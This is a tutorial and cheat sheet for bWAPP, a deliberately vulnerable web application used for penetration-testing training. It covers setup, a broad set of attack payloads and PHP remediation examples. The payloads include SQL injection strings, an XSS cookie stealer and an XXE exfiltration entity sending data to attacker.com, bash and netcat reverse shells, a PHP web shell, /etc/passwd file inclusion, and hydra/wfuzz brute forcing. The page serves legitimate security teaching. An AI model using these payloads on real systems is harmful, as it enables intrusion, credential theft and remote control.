Skip to content

bWAPP

bWAPP (buggy web application) is an intentionally vulnerable PHP/MySQL web application designed for security training. It contains over 100 vulnerabilities across OWASP categories to teach penetration testing, web exploitation, and secure coding practices.

Installation

# Pull bWAPP Docker image
docker pull raesene/bwapp

# Run container
docker run -d -p 80:80 -p 3306:3306 \
  --name bwapp raesene/bwapp

# Access web interface
# http://localhost/bWAPP/

# Default credentials
# Username: bee
# Password: bug

Manual Linux Installation

# Install dependencies
sudo apt update
sudo apt install -y apache2 mysql-server php php-mysql php-gd

# Download bWAPP
cd /tmp
wget http://www.ouwheals.co.uk/files/bWAPP.zip
unzip bWAPP.zip

# Copy to web root
sudo cp -r bWAPP /var/www/html/

# Set permissions
sudo chown -R www-data:www-data /var/www/html/bWAPP
sudo chmod -R 755 /var/www/html/bWAPP

# Configure MySQL
sudo mysql -u root -p < /var/www/html/bWAPP/install.sql

# Start services
sudo systemctl start apache2
sudo systemctl start mysql

Windows Installation

# Download XAMPP or WAMP
# Extract bWAPP to htdocs folder
# Import database via phpMyAdmin
# Access via http://localhost/bWAPP/

Initial Setup

Database Configuration

# Create database user
mysql -u root -p
mysql> CREATE USER 'bee'@'localhost' IDENTIFIED BY 'bug';
mysql> GRANT ALL PRIVILEGES ON bwapp.* TO 'bee'@'localhost';
mysql> FLUSH PRIVILEGES;

# Create tables from install.sql
mysql -u bee -pbug bwapp < bWAPP/install.sql

Login and Navigation

# Default login
URL: http://localhost/bWAPP/
Username: bee
Password: bug

# Security question answer: bug

Vulnerability Categories

SQL Injection Exercises

ChallengeTypeObjective
SQL Injection (Search/GET)Classic SQLiExtract data using search box with GET parameter
SQL Injection (Login Form)Auth BypassBypass login with SQL injection
SQL Injection (UNION)UNION-basedExtract data from other tables
SQL Injection (Blind)Blind SQLiExtract data through boolean/time-based
SQL Injection (Stacked Queries)Multiple queriesExecute multiple SQL statements

SQL Injection Exploitation

# Basic SQLi payload
' OR '1'='1
' OR '1'='1' --
' UNION SELECT NULL,NULL,NULL --

# Login bypass
admin' --
admin' #
' OR 1=1 --

# Blind SQL injection
' AND SLEEP(5) --
' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --

# Time-based detection
'; WAITFOR DELAY '00:00:05' --

# Extract data
' UNION SELECT database(),user(),version() --
' UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables --
' UNION SELECT GROUP_CONCAT(column_name),2,3 FROM information_schema.columns --

Cross-Site Scripting (XSS)

TypeVectorImpact
Reflected XSSURL parametersSession hijacking, credential theft
Stored XSSComment/form fieldsPersistent malware injection
DOM XSSJavaScript manipulationClient-side attacks
Event-based XSSonload, onerror attributesAutomatic script execution

XSS Exploitation

# Simple reflected XSS
<script>alert('XSS')</script>

# Cookie stealing
<script>fetch('http://attacker.com/steal.php?c='+document.cookie)</script>

# Image-based XSS
<img src=x onerror="alert('XSS')">

# Event handler XSS
<body onload="alert('XSS')">

# SVG XSS
<svg onload="alert('XSS')">

# HTML5 attribute XSS
<input autofocus onfocus="alert('XSS')">

# Polyglot XSS
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Cross-Site Request Forgery (CSRF)

CSRF Exploitation

# Simple CSRF form
<form action="http://localhost/bWAPP/csrf.php" method="POST">
  <input type="hidden" name="action" value="transfer">
  <input type="hidden" name="amount" value="10000">
  <input type="hidden" name="to_account" value="attacker">
  <input type="submit" value="Click here">
</form>

# Image-based CSRF
<img src="http://localhost/bWAPP/transfer.php?amount=10000&to=attacker" width=1 height=1>

# Fetch-based CSRF
<script>
fetch('http://localhost/bWAPP/transfer.php', {
  method: 'POST',
  body: JSON.stringify({amount: 10000, to: 'attacker'}),
  credentials: 'include'
});
</script>

Authentication Vulnerabilities

VulnerabilityMethodImpact
Weak CredentialsBrute force/dictionaryAccount takeover
Session FixationForce session IDSession hijacking
Password Reset FlawPredictable tokensAccount takeover
Insecure StoragePlaintext/weak hashingDatabase breach

Authentication Testing

# Test for weak passwords
hydra -l bee -P wordlist.txt localhost -V http-post-form "/bWAPP/login.php:login=^USER^&password=^PASS^&submit=Login:S=Welcome"

# Check password reset
curl http://localhost/bWAPP/reset.php
# Look for predictable reset tokens

# Session testing
# Check cookies with developer tools
# Test session fixation: Set session manually

# Brute force login
wfuzz -z file,wordlist.txt -d "login=bee&password=FUZZ&submit=Login" http://localhost/bWAPP/login.php

File Upload Vulnerabilities

File Upload Exploitation

# Unrestricted file upload
# Upload .php shell
<?php system($_GET['cmd']); ?>

# Bypass MIME type check
# Rename shell.php to shell.jpg
# Upload with Burp and change Content-Type: image/jpeg

# Bypass extension check
shell.php.jpg
shell.phtml
shell.php5
shell.phar

# Null byte injection (older versions)
shell.php%00.jpg
shell.php\x00.jpg

Local File Inclusion (LFI)

LFI Exploitation

# Basic LFI
http://localhost/bWAPP/lfi.php?page=../../../etc/passwd

# Null byte termination
http://localhost/bWAPP/lfi.php?page=../../../etc/passwd%00

# Filter bypass
http://localhost/bWAPP/lfi.php?page=....//....//....//etc/passwd
http://localhost/bWAPP/lfi.php?page=..%252F..%252F..%252Fetc%252Fpasswd

# PHP wrappers
http://localhost/bWAPP/lfi.php?page=php://filter/convert.base64-encode/resource=/etc/passwd

# Log file poisoning
# Access Apache log with LFI to execute injected code
http://localhost/bWAPP/lfi.php?page=../../var/log/apache2/access.log

Insecure Direct Object References (IDOR)

IDOR Testing

# Enumerate user IDs
http://localhost/bWAPP/idor.php?id=1
http://localhost/bWAPP/idor.php?id=2
http://localhost/bWAPP/idor.php?id=3

# Access other users' data
# Modify ID parameter to view unauthorized content

# Intercept with Burp
# Intruder tab: Set ID as payload
# Numbers: From 1 to 100

XXE (XML External Entity)

XXE Exploitation

# Basic XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

# XXE with parameter entity
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?p=%xxe;'>">
%all;
]>

# Billion laughs attack
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

Command Injection

Command Injection Exploitation

# Simple command injection
; ping -c 1 127.0.0.1
| ping -c 1 127.0.0.1
|| ping -c 1 127.0.0.1
& ping -c 1 127.0.0.1

# Reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
| nc attacker.com 4444 -e /bin/sh

# Output redirection
; whoami > /tmp/output.txt
| cat /etc/passwd

# Command substitution
$(whoami)
`whoami`

Testing with Burp Suite

Configure Burp for bWAPP

# 1. Open Burp Suite
# 2. Set proxy: localhost:8080
# 3. Configure browser proxy
# 4. Disable certificate validation (for testing)

# 5. Intercept requests
# Navigate to bWAPP and intercept traffic

# 6. Send to Repeater
# Modify requests and resend

# 7. Use Intruder for brute force
# Select payload positions
# Configure wordlists

Useful Payloads and Tests

Information Disclosure

# Check for error-based information
# View server version in HTTP headers
curl -i http://localhost/bWAPP

# Look for debug information in HTML comments
# Inspect page source: Ctrl+U

# Check for phpinfo() exposure
http://localhost/bWAPP/phpinfo.php
http://localhost/bWAPP/?page=phpinfo

OWASP Top 10 Mapping

ChallengeOWASP CategoryCWE
SQL InjectionA03:2021 InjectionCWE-89
XSSA03:2021 InjectionCWE-79
CSRFA01:2021 Broken Access ControlCWE-352
Weak AuthA07:2021 AuthenticationCWE-287
Sensitive DataA02:2021 Cryptographic FailuresCWE-327
LFI/RFIA03:2021 InjectionCWE-22
XXEA05:2021 XML External EntitiesCWE-611
Command InjectionA03:2021 InjectionCWE-78

Security Levels

Easy Level

  • Vulnerable to basic attacks
  • Clear exploitation paths
  • Minimal input validation

Medium Level

  • Some filtering and validation
  • Requires payload modification
  • Moderate obscuring

Hard Level

  • Strong filtering and WAF-like controls
  • Complex bypass techniques needed
  • Real-world difficulty

Toggle Security Level

# In bWAPP login page
# Select difficulty: Low/Medium/High
# Affects vulnerability severity

Remediation Examples

SQL Injection Prevention

// Vulnerable code
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = mysqli_query($conn, $query);

// Fixed with prepared statements
$query = "SELECT * FROM users WHERE id = ?";
$stmt = $conn->prepare($query);
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();

XSS Prevention

// Vulnerable code
echo "<p>" . $_GET['comment'] . "</p>";

// Fixed with HTML encoding
echo "<p>" . htmlspecialchars($_GET['comment'], ENT_QUOTES, 'UTF-8') . "</p>";

CSRF Protection

// Generate token
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Include in form
echo "<input type='hidden' name='csrf_token' value='" . $_SESSION['csrf_token'] . "'>";

// Validate token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF attack detected");
}

Best Practices for Learning

  • Practice each vulnerability type systematically
  • Use both automatic tools and manual testing
  • Document findings and techniques
  • Try bypassing WAF/IDS filters
  • Compare different vulnerability variations
  • Test at each security level
  • Study remediation code alongside exploitation
  • Practice against similar real-world apps
  • Build repeatable exploitation processes
  • Take detailed notes for reference

Common Challenges and Solutions

Challenge: Application crashes during exploitation

  • Solution: Restart Docker container, check payload syntax, verify encoding

Challenge: Payloads not executing

  • Solution: Check content-type, verify encoding, test payload in different parameter

Challenge: Cannot access database directly

  • Solution: Use time-based or Boolean-based SQL injection techniques

Challenge: Upload restrictions blocking shell upload

  • Solution: Bypass with double extensions, null bytes, case variations, or alternative content-type

References


Last updated: 2026-03-30